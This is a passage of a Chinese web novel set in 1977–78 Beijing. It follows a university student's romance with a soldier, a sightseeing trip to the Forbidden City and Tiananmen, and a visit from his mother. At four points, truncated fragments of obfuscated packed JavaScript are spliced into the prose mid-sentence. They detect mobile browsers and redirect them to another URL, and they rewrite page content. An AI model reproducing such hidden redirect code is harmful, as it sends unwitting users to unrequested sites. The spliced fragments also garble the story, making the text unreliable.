符伊年侧耳仔细辨别。两个人现在站在火车站候车室门口,室外环境不算清净,马路上有公交车停下又开走,有自行车叮铃铃地来往,有从候车室里传出来的嘈杂的人声…… 唯独没听到什么敲鼓声,于是茫然地看向他,摇头。 祝镕:“可能是我听错了。” 后来过了挺久了,符伊年第一次意识到自己心动时紧张得心脏咚咚直跳,这才恍然,什么敲鼓声,明明就是祝镕的心跳! 这个家伙!明明是他得心动,却诓自己是敲鼓声。真想得出来! 而此时还什么都不知道的符伊年,真的信了他“听错了”的借口。 短暂得交谈过后,气氛又要冷场,恰在此时,火车站钟楼上发出“叮叮”的敲钟声,接着一道电子女音播报“北京时间九点整”。 祝镕低头看了眼手表,发现竟然真的才九点钟,“你怎么这么早就到了?” “公交来得快。”符伊年眨眨眼,笑着说。 祝镕见她微笑,也心照不宣地笑起来——他们不约而同地想起来昨天的从百货大楼回程时,等了足足有半个小时才等来的公交车。 符伊年:“你也很早嘛,不是说十点半的火车?” 祝镕点头,“火车确实是十点半的,不过老汤,就刚刚那个,汤河原,他到公安局开会,顺便把我送过来。” 符伊年点头。汤河原有正事,祝镕一个搭顺风车的当然要跟着别人的时间安排。 这时又一个进站的乘客对他们说“让一下”,两人才意识到已经在候车室门口站了许久,符伊年急忙催促他快些进去,“免得遗失了行李物品。” 祝镕诧异:“你不进吗?” 符伊年正想说不进了,就看到祝镕垂下眼声音也比刚才低了些,“我还以为你是来送我上车的。” “我……对,没错,我来送你离开。” 送你离开,千里之外,我无声黑白! * 今年是七七年,改革开放还没到来,人们出行需要介绍信,而且火车票也非常难买,有时候甚至要凌晨就到售票窗口去排队,而排了一整夜等排到自己时票已售罄的情况更是常见。 硬座车票难买,卧铺更加难买,除了价格高,通常都是有门路的单位和个人才能买到。因此一直到后来改革开放了,人们腰包鼓起来了,出行能买到卧铺票了,但是很多人依然认为只有有“身份”的人才能乘坐火车卧铺。 因此虽然候车室很大很空,但是人并不多,稀稀拉拉地分布在候车厅各处,有坐着的也有躺着的,许是出行一次不容易,也许时长途出行,几乎每个人都带了至少两个李包裹,打眼看去,行李包裹比人还多。 除了乘客,还有几个穿着蓝色制服戴着红袖箍的工作人员再来回走动,他们眼睛四处看着,边走边说“注意财物小心扒手”。 “你的行李在哪儿?”符伊年有些担忧,“不会被人拿走吧?” 祝镕摇头,“放心吧不会的。” 最开始符伊年以为他的意思是行李上有标记,别人看到就会知道那是解放军的行李包裹因此不敢轻易偷盗。 结果符伊年跟着他走了几步来到最里面的一排座位,看到了一个面相稚嫩的年轻战士,战士旁边的地上放着两只军绿色行李袋,才发觉自己真的是想多了。 他说的“不会”,完全是因为有人看守!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897823|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' outbread,letthemeatcreamcake。YouguysareworsethantheQueenofLouisXVIofFrance!” 本来她以为二人笑话米仙花必定英文非常好,肯定能懂她说得是什么,结果两个人一头雾水地看向符伊年,根本就没听明白她说的是什么,更何况这句子的典故和隐喻了。 符伊年只觉得自己简直是对牛弹琴白费一番口舌,然后又觉得十分好笑:这么简单的句子都听不明白,竟然还有脸笑话别人。 于是符伊年一脸无语地拉着常开心和马悦回了座位。 “年年!你刚刚说的什么?”马悦拉住符伊年的手,激动且好奇地问她,“真好听,虽然我没有听懂。” 常开心也很好奇,不过她倒不是一点都没明白,“前面那句话我大概明白,就是说没有面包就吃奶油蛋糕,是不是?”说着看向符伊年,希望得到她的肯定。 符伊年点头,“直译就是这个意思,要是用我们老祖宗的话说,就是:何不食肉糜。说他们几个站着说话不腰疼,不知民间疾苦呢。” 刘洋给符伊年竖大拇指,“我猜就是这个意思,后面那句话是骂他们比路易十六那个玛丽王后还讨厌,是吧?” 符伊年给刘洋比了两个大拇指,“就是这个意思,那个玛丽王后和晋惠帝是一样的角色,都是生活奢靡腐化、不知民生艰苦的当权者。” 米花仙知道这三个人是去替自己出气去了,尤其是符伊年,你们不是嘲笑她不懂英文吗,那我就用你在意的点回敬你,“以毒攻毒”无外如是。 米仙花这个时候还不知道,若干年后有一个专门的词来表示这种说法,叫“用魔法打败魔法”,“回旋镖”来得迅速。 米仙花很开心,她十分真诚地同符伊年道谢,谢谢她帮自己出了一口气,“只是下次不要这样了,不是什么大不了的事情,万一他们生气了找你麻烦怎么办啊。” “他敢!”符伊年的脸色立刻冷了下来,怒视着男生那一侧,“要是敢找我麻烦,那就要做好被我找麻烦的准备。” 几个人交谈的声音不高,男生同他们隔了两排并不能听清他们说些什么,但是当符伊年冷脸怒视的时候,之前起哄嘲笑的几人都感受到了她的怒意,不自觉地低下头或者心虚地转移了目光。 不知道是符伊年展示的那几句英语震撼住了他们,还是她这一眼怒视压制了他们,总之麻烦并没有找来,反而让她在后来的团委工作进行的很方便很顺利。 也算是意外之喜吧。 虽然今天算是第一天正式上课,但是其实课程一点都不轻松,每一节课的课程内容都又多又杂,还有很多陌生的专用名词。 如同符伊年之前同祝镕说的那样,因为浪费和耽误了十年之久,学校和教授们简直恨不得将整本课本的知识像填鸭一样教授给他们,这样就能将时间节约下来,或者挽回一些曾经错过、消失的时光。 所以即便后面不再有课,符伊年也没有立刻离开教室,而是认真整理笔记,做到能把每个知识点都吸收消化掉。 66. 第 66 章 第六十六章 四月的最后一个周末,符伊年又一次收到来自祝镕的信件。这是两人确定关系后的第一次来信,之前一直都是通的电话。 大概因为这一阵子比较忙,一封信写得断断续续的,从笔迹和墨水颜色上看,好几次都中断过,有时候一句话都是分了两次说的,也难得他居然还能接得上上下文。 祝镕从京城回到营部,第二天上班后处理完累积的文书工作,立刻去政委和营长那里打了恋爱报告。 “可以啊小伙子,两天假期没白给你!”营长非常为祝镕开心,抬手在他胸口打了一拳,“行动力迅速!” 祝镕也很开心,大半年了,总算有了较大的进展。其实认真说起来,也算是“抱得美人归”了,毕竟这个时代保护军婚,一旦恋爱报告打了,基本就成定居了。 也正是因此,祝镕才同符伊年反复确认了,就是因为他怕她后面如果后悔的话,结果却很难改变——当然,非要改变的话,也是能改变的,只是到时候恐怕会有很多后续的不良影响。 报告送上去很快就被批准,当批准的文件送到祝镕手中的时候,他非常高兴,觉得这件事可以列为他25年人生中第三大喜讯。 第一件自然是从战场上生还,人生还有什么事情能超越与死神擦肩而过、从阎王手里逃脱呢? 第二件事,是由第一件事带来的延申影响:他得到了进入军大学习的机会,在二炮学习了四年后,他被分到安县的部队,也就是在这里,他有幸遇到了符伊年。 现在,第三件事,有了。也许再过几年,会有第四件、第五件,但是还没发生的事,他不做多想,只要开心于当下就好。 得到报告批准那天,祝镕给符伊年打电话,第一次是中午午休的时候打的,宿舍老师接了后喊了三遍“403符伊年接电话”,然后被告知,人还没有回宿舍。 古语云:再而衰三而竭。 祝镕的情绪从最开始的兴冲冲变成开心变成平静,才等来符伊年回拨来的电话。 原来,她那天满课,从早上八点二十,一直上到晚上四点半,中午倒是有两个小时的休息时间,但是系团委召开新学期第一次会议,她必须参加。 因为三次电话都没有找到人,祝镕难免挂了些脸色,营长看到后,不禁多问了一句,毕竟上午的时候他还高兴得快要跳起来。 等问清了原委后,营长嘿嘿笑了两声,让你小子刚刚张狂,然后拍拍他的肩膀,“这才一回你就受不了了?我告诉你,以后这种时候多着呢,开心的时候找不认,伤心的时候找不到人,生病了找不到,生孩子了还找不到……” 祝镕听到这里才明白,营长其实说的是对方,更多的时候,是军属找不到他们,他们无法照顾军属,自己才经历一回就觉得有些情绪受挫,符伊年呢? 虽然说“和平与发展”是主流,也不会再有大规模的战斗战争,可是总会有演习或者其他执行任务的时候。如果刚好那时符伊年生病了、不开心了、有好消息想同她分享了,再或者如同营长说的那样,怀孕了要生孩子了,自己却不在身边,她得多难受多委屈。 祝镕叹气,可能自己还是想得简单了。只好以后多多关心多多关怀,以弥补自己在这些方面缺席的遗憾了。 不过,当第四次通话被接通时,虽然祝镕已经尽力忍住了自己遗憾的情绪,还是被符伊年察觉到了,大概两个人一旦心意相通,对彼此的情绪感知还是很敏锐的。 在符伊年的再三追问下,祝镕吐露了一点点,不过符伊年多聪明呐,立刻想明白了全部了,哈哈笑着说他“傻子”。 祝镕:??? “不是傻子吗?你都说过我聪明了,我能想不到这方面嘛。”符伊年翻了隔白眼,又想到祝镕看不见,只好叹一口气,表达自己的无奈。 “陪伴这件事呢,并不是说无时无刻、如影随形在身边就叫陪伴。心灵上思想间的陪伴和支持,才是一直走下去的必要条件呀。”符伊年对祝镕说:“你忘了吗?你当时也说过,我们要‘分享梦想支持成长’,既然如此,怎么可能时时陪伴嘛。” 经过符伊年的一番开解,祝镕心情好多了,心里默默想:果然关系不一样了,说的话也不一样了,若是以前,符伊年才不会这么直白地同他讲话。 有了这次通话的铺垫,祝镕这次在信里的言词就亲近了很多。这时两人确定关系后的第一封信,符伊年读了两遍了后,仔细地收好,晚上拿了信纸给他回信。 在信里,符伊年跟祝镕介绍了自己的大学生活。 “是充实的、令人好奇的、想要探索的。这里有很多很多的知识等待我去学习,也有很多很多的任务等待我来完成,更有很多很多的梦想等待我来实现。大学,是一片新天地,不像工厂那样按部就班,每天都有新的有趣的事情。” 符伊年跟祝镕提起陆教授,跟他说“这个老头儿特别有趣”,说陆教授在第一次课堂上提到的那个课题。 “所以,人类发展的基础究竟是什么呢?食物养育生命,律法带来秩序,权力带来力量,极限带来欲望……似乎每一项都是人类发展不可缺少的。” “我当时心里想的答案是:信念。每一代人有每一代人的信念,这些信念推动努力与前进。可是现在再回头看,似乎光有信念又不足够,太虚无了,不够务实不够实际。快乐是我无法找到更准确的表达。祝镕你有什么想法呢?你认为推动人类发展的基础是什么?你可以为我解惑吗?” 一周后,这封信到达二炮某部队的营部,负责检查军营与外界往来信件的机要秘书在查看到这些话的时候不禁抽了抽嘴角——别人谈恋爱搞对象都是风花雪月,再不济也要讨论下房子钱票,祝营长这谈恋爱,讨论的都是人类发展的话题,太深刻了。 不过此时的符伊年尚且不知道这些事,她正在应付于思华。她的边界感实在不够强,见到符伊年收到了祝镕的来信后又开始好奇起来,“符伊年,你这是给你哥哥写信呢?” 这一次,符伊年不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913885|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避讳也没有范文,十分坦然地正面回答她,“不是我哥哥,他是我对象。” 于思华虽然早有预想,还是被符伊年着坦荡的语气给惊到了,“你们搞对象了啊?你不是还上大学呢?你们俩差好几岁呢吧?” 这个于思华,上次被自己顶了一次还没学会看眼色,依然这么不识趣。 符伊年两辈子最讨厌的就是这种没有边界感的人了。 “我成年了。”符伊年只说了这么一句,言外之意:我们合理也合法,两情相悦的事,轮不到你多嘴。 于思华正等着她后面的话呢,却发现符伊年已经不搭理她了,正低着头写信呢。于思华有心想偷看两眼,但是发现宿舍其他人正关注着他们,加上想到张超约了她看电影,就放弃了,背了包出门去了。 “年年,明天放假你要出门吗?”马悦间符伊年只是写信不是学习,便出声询问。 符伊年停下比方,想了想,“不确定,你要出门吗?”她这么问,应该是有想法的吧。 果然,马悦点头,“我来了之后还没出去过呢,明天周日后天劳动节也放假,我想去看看升旗广场、故宫,长城、天坛,好多想去的地方。” 米仙花也凑了过来,“带我一个带我一个,首都哎,长城啊,天安门广场啊,我梦中到达的地方。” 符伊年听着,脱口而出:“白天想夜里哭,做梦都想来首都?” 马悦和米仙花听了一愣,接着哈哈大笑起来,一边笑一边拍手,表示她形容的精准且完美。 “长城很远的,坐车都要几个小时,明天估计时间来不及,我们可以先去天安门广场和故宫,这俩挨着,有时间再去天坛也行。” 这时,常开心也凑了过来,“其实我还想去主席纪念馆看看。” 她这样一说,其他几个也点头,“是应该去一次。” 米仙花:“那要不要去看升旗啊?” 这个符伊年很有发言权,“这个更加来不及,太早了,没有公交车的,我们至少要三四点钟就出门走过去。” “那不行,”常开心果断否定,“太早了,路上不安全,而且宿管老师肯定不给开门的。” 女生宿舍的开门时间是夏季五点半,冬季六点。 符伊年又提议再找一个本地同学一起,“找个向导吧?不然会不会两眼一抹黑?”还要吃东西、购物什么的。 最后几人商议下,升旗这件事以后再议,明天先去天安门广场、纪念馆和故宫,至于本地向导,等刘洋回来问一问刘洋。 不料,刘洋说周日她爷爷过生日,家里人要一起吃饭,没有办法和她们一起出行。 这就没办法了。 其实大家都是二十左右岁的成年人,即便没有向导应该也不会又问题,更何况她们是集体出游,好几个人一起。 不过,最后出乎几人意料的是,同班的管方同学得知她们要出游后,竟然主动提出可以作她们的“导游”。 这也算得上是意外之喜了。 67. 坚定 第六十七章 四月的最后一天是周日,加上五一劳动节的假期,一共两天。符伊年宿舍六个人中的四个,加上隔壁宿舍的管方,一行五人开启了京城两日游。 是的,最后她们决定的是游玩两天。这是管方建议的,她说可以第一天游玩天安门广场和故宫,第二天看升旗然后参观主席纪念堂。 至于晚上住哪里,“我小姨和小姨夫在外地工作,她家房子空着,我们可以去那里住。” 几个人并不是很想留宿外人家中,但是又禁不住可以第二天看升旗的诱惑——这或许是这个学期唯一一次机会了,因为课程实在安排的很满。 考虑再三,几个人同意了,周日上午早饭后一起坐着公交车,先去了故宫。这个时候的故宫人还没那么多,门票也不算贵,加上大家都是大学生,用了学生证还半价。 故宫的大格局几百年都没有变过,只是刚刚经过动乱年代,故宫虽然没有遭到破坏,但是或许人手不足或许资金受限,看起来有点破败,维护程度肯定和后世不能比。 不过即便如此,站在乾清宫大殿前方,几个人还是被这威严壮丽的重重宫殿给震撼了,太壮观了,金碧辉煌,庄严绚丽,难怪以前叫“紫禁城”。 “这得花多少钱啊。”米仙花震撼之后,最先想到的就是这个,“那个词叫什么来着?民……” “民脂民膏。”马悦提示到,“所以说,吃人的封建社会啊。” 几个人开始高谈阔论起来了,符伊年觉得一头黑线,不至于不至于啊同学们,我们可以从中看到王朝兴亡也应该看到新社会的美好,还应该赞美老祖宗的审美,这可是“世界文化遗产”之一,要看到她的文化价值和经济价值。 逛到后面慈宁宫的时候,当发现慈禧的寝殿只有那么一点点大的时候,几个人都很惊讶,这可是皇后呢,居然就住这么大的地方,啧啧。 从故宫出来,又去了天安门广场,先去瞻仰人民英雄纪念碑。仰望着高高矗立在广场中央和京城中轴线线上的高大石碑,念碑的正面碑身上,镌刻着八个鎏金大字,是由毛主席亲自书写的“人民英雄永垂不朽”。 而在碑身的后面,则是由周总理题写的碑文:“三年以来,在人民解放战争和人民革命中牺牲的人民英雄们永垂不朽!三十年以来,在人民解放战争和人民革命中牺牲的人民英雄们永垂不朽!由此上溯到一千八百四十年,从那时起,为了反对内外敌人,争取民族独立和人民自由幸福,在历次斗争中牺牲的人民英雄们永垂不朽!” 在纪念碑前久久站立,所有人都心情沉重,面对这座记录着民族荣辱和成就的石碑,五个人站成一排,庄重地鞠躬行礼,向顽强拼搏和奋斗的先贤和前辈们致敬。 既然是出行游玩,就不能只参观欣赏,更要拍照留念。更何况,五月春光明媚,天蓝云白,广场上鲜花遍布,处处都是欣欣向荣,处处都是好光景。甚至不需要特意挑选角度,因为每一个角度都是都会非常出片。 符伊年她们还是学生,都没有相机,也没有人脉和关系能借到相机。好在这时候已经有在景点拍游客照的摄影师了,他们都是国营照相馆的照相师傅,技术非常过关。而且这时候的照片并不不贵,拍一张一块钱,加洗一张两毛。 五个人,每个人都拍了一两张照片,符伊年拍的最多,拍了五张每张都有加洗,以天安门城楼、人民大会堂、军博等各种不同角度为背景,拍下照片留下纪念。 时间并不能定格,青春也一直流逝,可是这是时代的印记,是历史的记录。 * 如同之前商议好的,符伊年她们这一晚留宿在管方的小姨家。 说来巧合,管方的小姨和小姨夫也是化工部直属工厂的员工,在西南某地工作,小姨为了照顾他的生活,也跟着过去了。 但是家属院的房子还在,而且因为管方家住房比较紧张,她在上大学之前,很多时候是住在她小姨家的房子里的。 也正是因此,管方才会大方地邀请几人过来留宿。 游玩了一整天大家都很疲惫,但是所有人都比较兴奋,即便进了门依然讨论不停,不断复盘回忆着今天的行程和经历。 可谓是:身体说累了,脑子却在说“不你还很兴奋”。 不过即便如此,几人还是早早地睡下,因为第二天要早起去看升旗。 不知道是不是因为是劳动节的缘故,这一次观看升旗的群众人数,比半个月前符伊年和祝镕来那次多多了。 符伊年觉得她们四点钟出发五点钟到达已经够早了,实际上广场上已经聚集了不少人了,符伊年看了看,拉着同伴们找到一个小朋友居多的位置,站在在他们身后,也算是一个有利地形了。 离升旗还有段距离,一直站着很累,几人干脆两腿一盘在地上坐下了,还能顺便打个盹儿。 入场式进行曲响起,所有人都精神起来,向城楼看去,前方看得还算清楚,后面的人更多是踮着脚伸着脖子,甚至还有家长把孩子放在自己肩膀是国内,好让孩子看得更清楚些。 护卫队踏着进行曲护卫着国旗从城楼楼门里走出来,经过金水桥,正步走过长安街,进入广场。 当高亢有力的国歌奏响,护旗手用力将旗帜抛出,然后注视、敬礼。 早上的微风拂面,吹动红旗飘扬。所有人都非常肃穆,眼睛随着国旗升起行注目礼。 升旗结束,人群并没有立即散去,有人仍在仰望国旗,有人在找角度拍照,有人在呼朋唤友。 而符伊年等人,选择找一个不碍事不吹风的地方坐下,补眠,顺便等待去纪念堂瞻仰。 八点钟,纪念堂开门,群众们人人手持一支白菊,进入纪念堂。 从纪念堂出来,几人又去参观了人民大会堂。当然了,人民大会堂也不是全部对外开放的,只能参观一部分展厅,这些展厅或是面积较小或是被用作了各种展览的展厅。 从人民大会堂出来,几个人都是又累又困有饿,符伊年第一个提出去吃东西。 “吃完了就回学校吧,我好困啊。”符伊年觉得眼皮在打架。 马悦紧接着提出附议,“还有作业没写完呢啊,明天第一节课就是老陆的课啊,没有课本预习都没办法。” 她这样一说,其他人也开始心有戚戚,于是纷纷看向管方,示意她快找一个好吃的馆子。 管方:我还想着带你们去长城呢,这体力也太不济了。 符伊年看出了她的想法,笑着解释:“不是我们体力不济,主要是脚疼了。你问问这三个,让他们下地干活,哪怕干一天她们都不带含糊的,主要是走动的太多了,我觉得我的小腿肚子要肿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928253|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 米仙花跟着点头,“我干活的时候是不用穿鞋的啊,现在穿着鞋走这么多的路,鞋底都要磨破了吧。” “没那么夸张。”管方无奈,“烤鸭和涮羊肉,想吃哪个?” 以符伊年的私心,她是想吃涮羊肉的,铜锅一支炭火一烧,手切羊肉片在汤底里“七上八下”的一涮,再蘸上放了葱花香菜的芝麻酱。 唔,不能想,一想就要流口水了。 可惜,这只是符伊年的私心。而其他人窥探不到她的内心想法,她们已经十分默契地达成了一致:烤鸭。 最后的结果是,符伊年嘴上说不想,实际上:真香。 这“真香”不是打脸的意思,而是,真的好香好好吃啊,不知道这家的烤鸭怎么做的,符伊年竟然吃出了一股水果的香气,蘸了甜面酱和葱、黄瓜条一起卷再面皮里,咬一口,口齿生香。 * 水足饭饱,几人离开烤鸭店乘坐公交车回到学校。短暂的休息出游结束,生活重新回到正轨,该复习的复习,该写作业的写作业,该去打电话的打电话。 虽然是五一劳动节,可是对于军人来说,哪有真正的节日,即便是八一建军节和十一国庆,该训练的也要训练,也许不用开会,但是文书工作并不见少。 符伊年的电话打过来时,祝镕正在看手里的一份文件,眉头几乎已经皱成一团,因此语气不算太好,“说?” 符伊年在电话这头吃了一惊,从认识到现在,无论时被讹要结婚时,还是后来彼此有意时,祝镕从来没有用这种语气同她讲话过。 不过很快,符伊年就明白了,祝镕大概没有想到是自己,或许以为是同事或者下属? “是我呀,”符伊年决定逗逗他,故意夹着嗓子说话,“你不记得我了吗镕哥哥。” 祝镕:……“好好说话,不要做作。” 符伊年吐了吐舌头,“听出来了啊?我这不是听你太严肃了,所以逗逗你嘛。”接着好奇起来,“你怎么了?听起来好像不太开心的样子?” 祝镕迟疑了片刻,含糊着说:“刚收到一份文件,边境不太安稳。” 符伊年一听,这样的消息确实令人开心不起来啊,“我能问一下,是南边还是北边吗?” 祝镕很惊讶,他发现符伊年经常能给他惊喜,实在想不到她竟然如此敏锐,自己不过说了“边境”两个字,她竟然一下子就能理解,甚至还猜测了大致方位。 “为什么是南边或者北边?”祝镕反问到,“为什么不能是东边或者西边呢?” “东边嘛,就沿海一带,光头已经没了,小蒋呢大概现在没有那份心力,再说就算有事也是人家海军的事,和你陆军有什么关系。”符伊年低声解释,毕竟宿舍楼人来人往的,被人听到就不好了。 “再说西边,阿三的首都都叫新德里了,你说还用说吗?排除法就是南北咯。” 祝镕哈哈笑起来,“行,你这排除法排除的好。”最后到底也没有说究竟是南还是北,“不过,你怎么突然关心起这个来了?” “有个当兵的对象,总要多少看一看,免得时间久了没有共同语言,万一被人厌弃可怎么办?”符伊年故意把自己说得可怜兮兮。 祝镕:“你放心,咱们俩之间,只有你厌弃我的可能,我定会对你坚贞不移。” 68. 容院长 第六十八章 京城的春天实在是短,符伊年带来的春季衬衫还没穿完一遍呢,好像夏天就来了,于是女孩子们纷纷穿上自己更轻薄的夏装,走在校园里,随风飘起,绰约多姿。 随着天气一天热过一天,有些事的热度也逐渐上升。关于“真理标准”的讨论在《实践是检验真理的唯一标准》一文发表后,开始广泛地开展。 农大作为京城的高校,当然也在不停地参与讨论。符伊年作为团支书,当然也要组织这种活动,组织活动时她很积极,尽力地将活动和讨论会组织好。不过她很少发言,因为她清楚,自己很多来自后世的言论,此时还不能说出来,所以更多的时候是记录和总结。 时间一晃来到六月末,祝镕越发忙碌起来,以前一周至少要打一两次电话给符伊年,现在已经半个月没接到他的电话了。符伊年几次打电话给祝镕,都是文书接的,说祝镕不是去拉练了就是要准备军演。 符伊年不知道对方说得真假,但是知道祝镕是真的很忙,也可能去执行了什么秘密任务,符伊年不得而知。 幸而符伊年也忙碌了起来。 教务处已经发布了通知,从进入七月份开始,期末考试将陆续来临。符伊年他们这些77年高考录取来的学生,因为开学较晚,所以考试在最后三天集中进行。 符伊年开始庆幸,自己之前一直有课上认真听讲课、后仔细复习的习惯,才不至于到期末了开始临时抱佛脚一般地抱着书去找教授划重点。 这天晚上符伊年半夜起来上厕所,放完水后她去水房洗手,谁料还没走进去,就听见里面有声音,像是有人说话,符伊年没有多想,径直走了进去,结果发现居然是米仙花! 她正捧着一本书在水房昏暗的灯光下背书,而且看起来背的不止是一本了,在窗台上还放着两本不同的课本。 “花儿啊,你怎么在这里背书啊?多暗啊。”符伊年一边洗手一边转头通米仙花说话,“我看你已经背过这两本书了啊。” 米仙花点头,“我这不是想着,多背一遍增强记忆。” “可是现在已经很晚了,你如果睡眠不足的话,明天考试也没有精神呀!万一考场上睡着了岂不是得不偿失?” 米仙花想了想,点头表示符伊年说得对,“你说得对,不过我得把这本看完,还有三分之一了,你先回去休息吧,我很快的。” 符伊年无法,只好先回去了。 回到宿舍,没想到看到一束光从常开心的床铺上映照下来,仔细看去,她正打着手电蒙着被子看书呢,之前因为急着上厕所,符伊年没注意到。 常开心听见动静转过头,然后对符伊年笑笑,转回头继续看书。 符伊年:……你们这样显得我好像很不用功啊。 就在这时,一阵轻微的鼾声从常开心的床铺下方传来,听得出来,鼾声的主人睡得很熟,也许正在做一个甜美的梦。 * 考试从七月一日开始,一共考了三天十二场考试,当最后一天符伊年他们从考场出来的时候,得到了一个消息。 三号这天,华国停止了对越南的援助。 所有得到这个消息的人都哗然了。尤其米仙花,更是气愤非常。因为越国和华国接壤的地区就是滇省,这些年,很多援助物资都是从滇省经过运往越国的。 “恩将仇报!太没有良心了!”米仙花气得骂人,“他们怎么做得出来!” 而符伊年只用了几个字来解释这种行为:“非我族类,其心必异。” 米仙花等人沉默了一下,纷纷对符伊年竖起大拇指,“精辟!” 然而实际上符伊年从祝镕那里得到的消息是,其实从年初开始就有摩擦了。当初华国抗美援越,二十多年来价值有两百亿美元。 符伊年听到这个数字的时候不禁尖叫起来,“两百?!”符伊年省略了货币单位,怕周围的人被吓到,“我的天,有这个钱,自己人干啥不好啊。” “也不能这么说,”祝镕此时倒是很理智,“华国讲的是大局观,‘世界各民族大团结万岁’嘛!而且若是不援助的话,漂亮国就能以越国为跳板,出兵我们西南边境,滇省就危险了。” 这样说符伊年就懂了,和当初抗美援朝一样呗,唇亡齿寒么。 “可惜,越国没良心。”而且,若干年后他们依然不老实。 “年初开始,漂亮国开始撤军,越国就开始得瑟,先是驱赶华侨华人,后来开始搞小动作,起了几次冲突和摩擦,而且据说有老大哥给他们撑腰,就越发的扬武扬威了。”祝镕大致给她介绍了一下来龙去脉,“现在全军都在等上头的决定。” “那,我暑假还去吗?”符伊年有些迟疑地问,“会不会耽误你的工作啊?” 祝镕在心里算了算,觉得应该不至于,就答应她过来,“可以回家的时候路过这里待上一周,然后我再送你回家过暑假。” “行,”符伊年没有任何羞涩地答应下来,“那我要带些什么吗?除了衣服。” “不用,”祝镕笑了,“你人来就好了,不用带什么东西的。不要浪费钱。” 符伊年白眼简直要翻到天上去,“什么叫浪费钱,难道不需要给你的上司、下属带些见面礼吗?要不我带两只烤鸭吧,听说全聚德现在有真空包装,能保存七到十天呢。” 祝镕思考了一会儿,答应下来,心想大不了等她到了军营自己再把钱票补贴给她。 符伊年第二天一早就去了全聚德。一口气定了四只烤鸭——过后她考虑了一下,总觉得两只有点少,总要给祝镕留一些打牙祭吧。 付了钱又约定好了来取走的时间,符伊年直奔西单。 现在的西单商场已经有牛仔裤在销售了,虽然都说这时候的牛仔裤是又肥又大还能“扫地”,不过在符伊年看来,不过就是稍微宽了一点长了一点,并没有十分夸张。而且版型很好,非常修身,因为她试穿效果很好,旁边两个本来就在犹豫的女生果断付钱购买。 符伊年不仅给自己买了牛仔裤,也给祝镕买了一条,嗯,因为是“惊喜”,所以她没有问祝镕的尺寸,只是同售货员形容了一下祝镕的体型,然后在他的建议下,买了一件大号的牛仔裤。 不愧是新生事物,价钱十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941813|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分美丽,不过符伊年没有迟疑,很痛快地开票付款。 除了牛仔裤,符伊年还买了些其他的日用品,最后满载而归。 * 农大女生宿舍楼楼下,一辆黑色红旗轿车里,意味梳着短发的女士靠在后座上正在闭目养神,驾驶座车门拉开,一个年轻人坐进来。 “怎么样?”女士缓缓睁眼,问道。 “没有在宿舍,同学说早上就出去了。” “那等等吧。” 话音才落,女士透过汽车的前玻璃窗看到一个高挑的女生走过来,随着她的走近,女士看清了她的容貌:杏脸桃腮、眉眼如画,马尾垂在脑后随着步伐晃动,青春气息满溢。 女士不禁想到前些年那场轰轰烈烈的“选妃”选中的女子,她是见过那个女孩子的,如今看来,符伊年幸好生得晚,不然还真轮不到自己儿子。 是的,车里的这位女士不是别人,正是祝镕的母亲容副院长。当初容副院长力主由医院党委写了感谢信到农大,她本来想亲自送来顺便见一见符伊年的,但是第二天实验室突然有了进展,接着她几乎住在了实验室里,连吃饭都要抢时间。 一直到前天,实验室的工作终于告一段落,容副院长从医院回到家,睡了一整天后,终于在今天整理好自己,来农大见符伊年了。 眼看着符伊年越走越近,容副院长急忙推开车门下车,“符伊年同学!” 符伊年正抬腿准备上台阶,听到有人喊自己的名字,回头一看,一位中年女士正朝自己走来,她梳着利落的短发,眼睛很明亮锐利,但是面容和平和,浑身散发出一种平易近人的气质。 符伊年确定自己不认识这位女士,因此只是礼貌地同她问好,并询问她找自己有什么事。 “不要紧张。”女士微笑了一下。 就是这一笑,让符伊年在她面孔上找到了一些熟悉感,她心中升起一种猜想,“容院长?” 容院长:“叫阿姨就好。” 符伊年知道自己的猜想被证实了,遂从善如流,“阿姨好。” 容院长笑得比刚才还灿烂还开心,“好,你也好,”说到这里看到了她手里的两个袋子,“去购物了?” “买了两件衣服。”符伊年据实以告,不过并没有说买的什么、给谁买的。 